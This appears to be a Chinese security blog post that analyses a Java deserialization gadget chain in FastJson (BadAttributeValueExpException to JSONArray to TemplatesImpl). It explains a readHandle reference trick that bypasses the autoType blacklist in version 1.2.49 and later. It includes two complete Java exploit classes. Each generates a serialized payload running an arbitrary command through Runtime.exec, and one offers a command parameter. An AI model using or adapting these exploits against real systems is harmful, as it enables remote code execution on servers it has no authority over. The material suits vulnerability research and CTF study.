目录
核心速览
分析
FastJson<=1.2.48
FastJson>=1.2.49
EXP
FastJson<=1.2.48
FastJson>=1.2.49
后话
核心速览
找到一个能够readObject的类,调用toString方法,然后调用toJSONString方法,再调用getter,实现反序列化利用。
利用链:
BadAttributeValueExpException#readObjct -> JSONArray#toString -> JSONArray#toJSONString -> getter
分析
FastJson<=1.2.48
JSONArray implement了Serializable接口,且本身与继承的父类JSON都没有实现readObject方法的重载(也就不会过滤黑名单类),此外,其父类JSON类的toString方法可以触发toJSONString方法
JSON#toString
JSON#toJSONString
使用 toJSONString
方法将一个 Java 对象转换为 JSON 字符串时,会自动调用对象的 getter 方法来获取属性的值
如果找到一个重写了readObject方法的类,能触发toString方法,就可以把利用链打通
很容易想到CC5用的BadAttributeValueExpException
至于getter的利用,主流打法分两种,TemplatesImpl和SignedObject二次反序列化
FastJson>=1.2.49
FastJson>=1.2.49时,若直接用FJ<=1.2.48的EXP来打会出现如下报错,autoType is not support
原因是FJ1.2.49版本后,JSONArray对readObject方法进行重载,加入了autoType的黑名单机制
大体流程如下
ObjectInputStream -> readObject -> SecureObjectInputStream -> readObject -> resolveClass -> checkAutoType
其是针对JSONArray这个类的反序列化入口,而真正安全的措施应该是做一个统一反序列化的入口,但这样有点性能和安全不能兼顾的意思
(很多CTF题做的输入流过滤就是用的后者,如极客巅峰2023BabyURL,就不能用我们下面讲的引用类型来直接绕过)
checkAutoType中ban掉了一些恶意类,症结也就在这了
如何绕过呢?
在 Java 中,readObject 方法和 readHandle 方法都是 ObjectInputStream 类中用于反序列化对象的方法
readObject 方法:
readObject 方法是 ObjectInputStream 类中用于反序列化对象的核心方法之一。当使用 readObject 方法时,ObjectInputStream 会读取序列化数据流,并将其转换为相应的对象。readObject 方法会触发对象的反序列化过程,包括读取对象的数据并创建对象实例。在反序列化过程中,readObject 方法会处理对象的各种字段和属性,确保正确地恢复对象的状态。readHandle 方法:
readHandle 方法是 ObjectInputStream 类中用于处理对象替代句柄(object replacement handle)的方法。当序列化数据中存在对象替代句柄时,可以使用 readHandle 方法来恢复对应的实际对象。readHandle 方法主要用于处理对象之间的引用关系,避免重复序列化相同的对象数据。与 readObject 方法不同,readHandle 方法不会触发对象的完整反序列化过程,而是主要用于处理对象之间的引用关系。在使用 readHandle 来反序列化对象的过程中,不会触发 resolveClass 方法,也就不会走到checkAutoType,从而绕过黑名单检测
什么时候反序列化会走readHandle?
当向List、set、map这些涉及哈希表的类型中写入对象时,会在handles这个哈希表中建立从对象到引用的映射,当再次写入同一对象时,在handles这个hash表中查到了映射,就会通过writeHandle将重复对象以引用类型写入,自然readObject反序列化的时候也就会走到readHandle分支
也就是说我们要在反序列化的过程中在哈希表中先创建一个恶意对象到引用的映射,从而在真正对恶意对象第二次反序列化调用readHandle
结合EXP来看,我们可以这样实现:
1.反序列化时HashMap先通过ObjectInputStream#readObject恢复TemplatesImpl对象,在哈希表中先创建一个恶意对象到引用的映射
2.再恢复BadAttributeValueExpException对象
恢复过程:
2.1.由于BadAttributeValueExpException要恢复val对应的JSONArray对象,会触发JSONArray#readObject,其将这个过程委托给SecureObjectInputStream
2.2.在恢复JSONArray/JSONObject中的TemplatesImpl对象时,由于此时的第二个TemplatesImpl对象是引用类型,通过readHandle恢复对象的途中不会触发resolveClass,从而实现绕过
EXP
FastJson<=1.2.48
package org.FJ;import com.alibaba.fastjson.JSONArray;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class EXP { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); clazz.addConstructor(constructor); byte[][] bytes = new byte[][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", bytes); setValue(templates, "_name", "xxx"); setValue(templates, "_tfactory", null); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, jsonArray); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(val); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); }}
FastJson>=1.2.49
package org.FJ;import com.alibaba.fastjson.JSONArray;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class EXP2 { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static byte[] genPayload(String cmd) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");"); clazz.addConstructor(constructor); clazz.getClassFile().setMajorVersion(49); return clazz.toBytecode(); } public static void main(String[] args) throws Exception{ TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")}); setValue(templates, "_name", "xxx"); setValue(templates, "_tfactory", null); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException bd = new BadAttributeValueExpException(null); setValue(bd,"val",jsonArray); HashMap hashMap = new HashMap(); hashMap.put(templates,bd); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(hashMap); objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); objectInputStream.readObject(); }}
后话
经p4d0rn师傅提醒,序列化的时候会带上很多不必要的属性,比如父类的类名之类的信息都会被带上,payload是有缩短的空间的
缩短payload其实只是图一乐,但有没有能力缩短payload又是另一回事了
多看一看,借鉴借鉴,希望近期能把缩短payload的trick做出来吧